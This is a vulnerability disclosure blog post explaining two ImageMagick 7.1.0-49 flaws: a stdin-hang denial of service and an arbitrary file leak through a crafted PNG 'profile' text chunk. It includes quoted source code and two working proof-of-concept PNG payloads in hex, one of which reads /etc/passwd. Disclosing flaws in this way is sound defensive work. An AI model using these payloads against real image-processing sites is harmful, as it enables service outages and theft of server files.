ImageMagick: The hidden vulnerability behind your online images

Original text byMetabase Q Team By Bryan Gonzalez from Ocelot Team

Introduction

ImageMagick is a free and open-source software suite for displaying, converting, and editing image files. It can read and write over 200 image file formats and, therefore, is very common to find it in websites worldwide since there is always a need to process pictures for users’ profiles, catalogs, etc.

In a recent APT Simulation engagement, the Ocelot team identified that ImageMagick was used to process images in a Drupal-based website, and hence, the team decided to try to find new vulnerabilities in this component, proceeding to download the latest version of ImageMagick, 7.1.0-49 at that time. As a result, two zero days were identified:

  • CVE-2022-44267: ImageMagick 7.1.0-49 is vulnerable to Denial of Service. When it parses a PNG image (e.g., for resize), the convert process could be left waiting for stdin input.
  • CVE-2022-44268: ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary remote file (if the ImageMagick binary has permissions to read it).

How to trigger the exploitation?

An attacker needs to upload a malicious image to a website using ImageMagick, in order to exploit the above mentioned vulnerabilities remotely.

The Ocelot team is very grateful for the team of volunteers of ImageMagick, who validated and released the patches needed in a timely manner:

https://github.com/ImageMagick/ImageMagick/commit/05673e63c919e61ffa1107804d1138c46547a475

In this blog, the technical details of the vulnerabilities are explained.

CVE-2022-44267: Denial of service

ImageMagick:  7.1.0-49

When ImageMagick parses a PNG file, for example in a resize operation when receiving an image, the convert process could be left waiting for stdin input leading to a Denial of Service since the process won’t be able to process other images.

A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile. If the specified filename is “-“ (a single dash) ImageMagick will try to read the content from standard input potentially leaving the process waiting forever.

Exploitation Path Execution:

  • Upload image to trigger ImageMagick command, like “convert”
  • ReadOnePNGImage (coders/png.c:2164)
Reading “tEXt” chunk:

SetImageProfile (MagickCore/property.c:4360):
Checking if keyword equals to “profile”:
Copying the text string as filename in line 4720 and saving the content in line 4722:
FileToStringInfo to store the content into string_info->datum, (MagickCore/string.c:1005):
const size_t extent, ExceptionInfo *exception)
{
StringInfo
*string_info;
assert(filename != (const char *) NULL);
assert(exception != (ExceptionInfo *) NULL);
if (IsEventLogging () != MagickFalse)
(void) LogMagickEvent (TraceEvent, GetMagickModule (), "%s", filename);
string_info=AcquireStringInfoContainer();
string_info-›path=ConstantString(filename);
string_info-›datum=(unsigned char *) FileToBlob(filename, extent,
&string_info-›length,exception);
if (string_info-›datum == (unsigned char *) NULL)
{
string_info=DestroyStringInfo(string_info);
return ((StringInfo *) NULL);
return(string_info);
}

FileToBlob (MagickCore/blob.c:1396): Assigning stdin to a filename as “-”, causing the process to wait for input forever:

file=fileno(stdin);
if (LocaleCompare(filename, " -") ! = 0)
{
status=GetPathAttributes (filename, &attributes) ;
if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
{
ThrowFileException(exception, BlobError, "UnableToReadBlob" ,filename);
return (NULL);
?
file=open_utf8 (filename, O_RDONLY | O_BINARY, 0);
}
if (file == -1)
{
ThrovFileException(exception, BlobError, "UnableTo0penFile", filename);
return (NULL);
}
offset=(MagickOffsetType) Iseek(file, O, SEEK_END);
count=0;
if ((file == fileno (stdin)) (offset < 0)
(offset != (MagickOffsetType) ((ssize_t) offset)))
{
size t
quantum;
struct stat
file stats;
/*
Stream is not seekable.
* /
offset= (MagickOffsetType) Iseek(file,O, SEEK_SET);
quantum= (size t) MagickMaxBufferExtent;
if ((fstat (file, &file_stats) == 0) && (file_stats.st_size > 0))
quantum= (size_t) MagickMin(file stats.st_ size,MagickMaxBufferExtent);
blob=(unsigned char *) AcquireQuantumMemory (quantum, sizeof (*blob));
for (i=0; blob != (unsigned char *) NULL; i+=count)
{
count=read(file, blob+i, quantum);

PoC: Malicious PNG File:

89504E470D0A1A0A0000000D49484452000000010000000108000000003A7E9B550000000B49444154789C63F8FF1F00030001FFFC25DC510000000A7445587470726F66696C65002D00600C56A10000000049454E44AE426082

Evidence: Malicious image file: OCELOT_output.png

Stdin input waiting forever:

CVE-2022-44268: Arbitrary Remote Leak

ImageMagick:  7.1.0-49

When ImageMagick parses the PNG file, for example in a resize operation, the resulting image could have embedded the content of an arbitrary remote file from the website (if magick binary has permissions to read it).

A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile, then the attacker can download the resized image which will come with the content of a remote file.

Exploitation Path Execution:

  • Upload image to trigger ImageMagick command, like “convert”
  • ReadOnePNGImage (coders/png.c:2164):

– Reading tEXt chunk:

SetImageProfile (MagickCore/property.c:4360)

Checking if keyword equals to “profile”

Copying the text string as filename in line 4720 and saving the content in line 4722:

FileToStringInfo to store the content into string_info->datum, (MagickCore/string.c:1005):

If a valid (and accessible) filename is provided, the content will be returned to the caller function (FileToStringInfo) and the StringInfo object will return to the SetImageProperty function, saving the blob into the new image generated, thanks to the function SetImageProfile:

This new image will be available to download by the attackers with the arbitrary website file content embedded inside.

PoC: Malicious PNG content to leak “/etc/passwd” file:

89504E470D0A1A0A0000000D4948445200000001000000010100000000376EF9240000000A49444154789C636800000082008177CD72B6000000147445587470726F66696C65002F6574632F70617373776400B7F46D9C0000000049454E44AE426082

Evidence:

Content of the /etc/passwd stored in the image via profile->datum variable:

Hexadecimal representation of the /etc/passwd content, extracted from the image:

Content from /etc/passwd in the website, received in the image generated:

Video showing the exploitation: